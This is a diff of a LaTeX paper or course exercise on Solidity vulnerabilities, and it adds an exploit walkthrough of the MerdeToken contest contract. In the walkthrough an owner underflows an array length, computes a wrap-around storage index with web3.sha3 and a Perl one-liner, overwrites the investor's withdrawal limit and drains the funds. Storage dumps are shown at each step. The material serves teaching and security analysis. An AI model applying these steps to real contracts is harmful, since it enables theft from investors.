|
|
|
|
159
|
\end{algorithm}
|
159
|
\end{algorithm}
|
160
|
|
160
|
|
161
|
Another weakness that allows arbitrary storage access is unchecked assembly code. Assembly is a powerful tool that allows the developers to get as close to the EVM as they can,
|
161
|
Another weakness that allows arbitrary storage access is unchecked assembly code. Assembly is a powerful tool that allows the developers to get as close to the EVM as they can,
|
162
|
-but it may also be very dangerous when not tested correctly. As per the documentation\footnote{\url{https://docs.soliditylang.org/en/latest/assembly.html}}: \textit{"this [inline assembly]
|
|
|
|
|
162
|
+but it may also be very dangerous when not tested correctly. As per the documentation\footnote{\url{https://docs.soliditylang.org/en/latest/assembly.html}, accessed: Oct. 30th 2023}: \textit{"this [inline assembly]
|
163
|
bypasses important safety features and checks of Solidity. You should only use it for tasks that need it, and only if you are confident with using it."}
|
163
|
bypasses important safety features and checks of Solidity. You should only use it for tasks that need it, and only if you are confident with using it."}
|
164
|
When given access to such lowlevel structures, a programmer can built-in not only weaknesses similar to the ones described previously, but also others, such as overwriting map locations,
|
164
|
When given access to such lowlevel structures, a programmer can built-in not only weaknesses similar to the ones described previously, but also others, such as overwriting map locations,
|
165
|
contract variables etc.
|
165
|
contract variables etc.
|
|
|
|
|
300
|
|
300
|
|
301
|
\section{Exploit sketch}
|
301
|
\section{Exploit sketch}
|
302
|
|
302
|
|
303
|
-\cite{doughoyte}
|
|
|
304
|
-%TODO: just explain what this guy does: https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte%
|
|
|
|
|
303
|
+An exploitation sketch to Algorithm~\ref{alg:pop-incorrect} and to Algorithm~\ref{alg:multilayer-example} is available from Doughoyte~\cite{doughoyte}.
|
305
|
|
304
|
|
|
|
305
|
+\textbf{Checkpoint A}
|
|
|
306
|
+We assume that the following events have ocurred:
|
|
|
307
|
+\begin{enumerate}
|
|
|
308
|
+ \item the contract MerdeToken\footnote{\url{https://github.com/Arachnid/uscc/blob/master/submissions-2017/doughoyte/MerdeToken.sol}, accessed: Oct. 30th 2023} has been created;
|
|
|
309
|
+ \item the investor has set a withdrawal limit of 1 ether, which only they can change;
|
|
|
310
|
+ \item an investor has invested 50 ETH;
|
|
|
311
|
+ \item the owner is malicious.
|
|
|
312
|
+\end{enumerate}
|
|
|
313
|
+
|
|
|
314
|
+At this point, an example storage layout as per Doughoyte would be:
|
|
|
315
|
+
|
|
|
316
|
+\medspace
|
|
|
317
|
+
|
|
|
318
|
+\lstset{style=mystyle}
|
|
|
319
|
+\begin{algorithm}[H]
|
|
|
320
|
+ \begin{lstlisting}[language=Octave]
|
|
|
321
|
+ "storage": {
|
|
|
322
|
+ // The address of the contract owner:
|
|
|
323
|
+ "0000000000000000000000000000000000000000000000000000000000000000": "94b898c1a30adcff67208fd79b9e5a4d339f3cc6d2",
|
|
|
324
|
+ // The address of the trusted third party:
|
|
|
325
|
+ "0000000000000000000000000000000000000000000000000000000000000001": "948bc7317ad44d6f34f0f0b6e3c8c7bf739ba666fa",
|
|
|
326
|
+ // The amount deposited (50 ETH):
|
|
|
327
|
+ "0000000000000000000000000000000000000000000000000000000000000003": "8902b5e3af16b1880000",
|
|
|
328
|
+ // The withdrawal limit (1 ETH):
|
|
|
329
|
+ "0000000000000000000000000000000000000000000000000000000000000004": "880de0b6b3a7640000",
|
|
|
330
|
+ // the legth of the array would normaly stay here, if it was not zero at init time
|
|
|
331
|
+ // balanceOf[investorAddress] (50 MDT):
|
|
|
332
|
+ "dd87d7653af8fba540ea9ebd2d914ba190d975fcfa4d8d2927126a5decdbff9e": "8902b5e3af16b1880000"
|
|
|
333
|
+ }
|
|
|
334
|
+ \end{lstlisting}
|
|
|
335
|
+ \caption{Exploit - Memory at Checkpoint A}
|
|
|
336
|
+ \label{alg:exploit-checkpoint-a}
|
|
|
337
|
+\end{algorithm}
|
|
|
338
|
+
|
|
|
339
|
+\textbf{Checkpoint B}
|
|
|
340
|
+Afterwards, the malicious owner calls the vulnerable function \texttt{popBonusCode()} and the length of the array is set to the max value. This happened, because prior to the underflow, the array length was zero and, to save space, it was omitted from the memory:
|
|
|
341
|
+
|
|
|
342
|
+\medspace
|
|
|
343
|
+
|
|
|
344
|
+\lstset{style=mystyle}
|
|
|
345
|
+\begin{algorithm}[H]
|
|
|
346
|
+ \begin{lstlisting}[language=Octave]
|
|
|
347
|
+ "storage": {
|
|
|
348
|
+ "0000000000000000000000000000000000000000000000000000000000000000": "94b898c1a30adcff67208fd79b9e5a4d339f3cc6d2",
|
|
|
349
|
+ "0000000000000000000000000000000000000000000000000000000000000001": "948bc7317ad44d6f34f0f0b6e3c8c7bf739ba666fa",
|
|
|
350
|
+ "0000000000000000000000000000000000000000000000000000000000000003": "8902b5e3af16b1880000",
|
|
|
351
|
+ "0000000000000000000000000000000000000000000000000000000000000004": "880de0b6b3a7640000",
|
|
|
352
|
+ // The array length has underflowed:
|
|
|
353
|
+ "0000000000000000000000000000000000000000000000000000000000000005": "a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
|
|
|
354
|
+ "dd87d7653af8fba540ea9ebd2d914ba190d975fcfa4d8d2927126a5decdbff9e": "8902b5e3af16b1880000"
|
|
|
355
|
+ }
|
|
|
356
|
+ \end{lstlisting}
|
|
|
357
|
+ \caption{Exploit - Memory at Checkpoint B}
|
|
|
358
|
+ \label{alg:exploit-checkpoint-b}
|
|
|
359
|
+\end{algorithm}
|
|
|
360
|
+
|
|
|
361
|
+Increasing the length of the array to the maximum allowed by \texttt{uint256} was important, as this will now allow the owner to pass the requirement set in \texttt{modifyBonusCode} and still
|
|
|
362
|
+use the function for storage modification.
|
|
|
363
|
+
|
|
|
364
|
+\textbf{Checkpoint C} The owner is then able to use \texttt{modifyBonusCode} to increase the fixed withdraw limit to the max \texttt{uint256} value. Had the contract not have this vulnerability,
|
|
|
365
|
+this action should only have been possible through the \texttt{setWithdrawLimit}, which is only available to the investor.
|
|
|
366
|
+
|
|
|
367
|
+In order to overwrite the withdrawal limit, the owner must calculate the hex value to use as a first argument (index) to the function.
|
|
|
368
|
+Since the array \texttt{bonusCodes} underflow is defined in the sixth place in the contract storage, its length is in the fifth storage slot (counting from zero)
|
|
|
369
|
+The limit is defined at the fourth storage slot. Then, in order to manipulate the withdrawal limit, the owner must convert the address of the length to hexadecimal:\\
|
|
|
370
|
+\lstset{style=mystyle}
|
|
|
371
|
+\begin{algorithm}[H]
|
|
|
372
|
+ \begin{lstlisting}[language=Octave]
|
|
|
373
|
+ > web3.sha3("0x0000000000000000000000000000000000000000000000000000000000000005", { encoding: 'hex' })
|
|
|
374
|
+ "0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0"
|
|
|
375
|
+ \end{lstlisting}
|
|
|
376
|
+ \caption{Exploit - Convert length address to hex}
|
|
|
377
|
+ \label{alg:exploit-convert-address}
|
|
|
378
|
+\end{algorithm}
|
|
|
379
|
+
|
|
|
380
|
+and then just calculate the array index that will wrap around using the formula $2^{256} - H + 4$, where $2^{256}$ is the max \texttt{uint256} value, H is the hex obtained from the previous command and 4 is the offset of the withdrawal limit storage slot from the base of the contract. This, converted to hex, will give the owner the address to use with \texttt{modifyBonusCode}. The Perl snippet below does that:\\
|
|
|
381
|
+\lstset{style=mystyle}
|
|
|
382
|
+\begin{algorithm}[H]
|
|
|
383
|
+ \begin{lstlisting}[language=Octave]
|
|
|
384
|
+ \$ perl -Mbigint -E 'say ((2**256 - 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0 + 4)->as_hex)'
|
|
|
385
|
+ 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c254
|
|
|
386
|
+ \end{lstlisting}
|
|
|
387
|
+ \caption{Exploit - Convert limit offset to address}
|
|
|
388
|
+ \label{alg:exploit-convert-offset}
|
|
|
389
|
+\end{algorithm}
|
|
|
390
|
+
|
|
|
391
|
+As a result, the memory now looks like this:
|
|
|
392
|
+
|
|
|
393
|
+\medspace
|
|
|
394
|
+
|
|
|
395
|
+\lstset{style=mystyle}
|
|
|
396
|
+\begin{algorithm}[H]
|
|
|
397
|
+ \begin{lstlisting}[language=Octave]
|
|
|
398
|
+ "storage": {
|
|
|
399
|
+ "0000000000000000000000000000000000000000000000000000000000000000": "94b898c1a30adcff67208fd79b9e5a4d339f3cc6d2",
|
|
|
400
|
+ "0000000000000000000000000000000000000000000000000000000000000001": "948bc7317ad44d6f34f0f0b6e3c8c7bf739ba666fa",
|
|
|
401
|
+ "0000000000000000000000000000000000000000000000000000000000000003": "8902b5e3af16b1880000",
|
|
|
402
|
+ // The withdrawal limit is now really high:
|
|
|
403
|
+ "0000000000000000000000000000000000000000000000000000000000000004": "a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
|
|
|
404
|
+ "0000000000000000000000000000000000000000000000000000000000000005": "a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
|
|
|
405
|
+ "dd87d7653af8fba540ea9ebd2d914ba190d975fcfa4d8d2927126a5decdbff9e": "8902b5e3af16b1880000"
|
|
|
406
|
+ }
|
|
|
407
|
+ \end{lstlisting}
|
|
|
408
|
+ \caption{Exploit - Memory at Checkpoint C}
|
|
|
409
|
+ \label{alg:exploit-checkpoint-c}
|
|
|
410
|
+\end{algorithm}
|
|
|
411
|
+
|
|
|
412
|
+\textbf{Checkpoint D} The owner can now call \texttt{withdraw()} with the full amount of ether in the contract and drain it. The investor has not increased the limit at any point.
|
306
|
|
413
|
|
307
|
\bibliography{exercise.bib}
|
414
|
\bibliography{exercise.bib}
|
308
|
|
415
|
|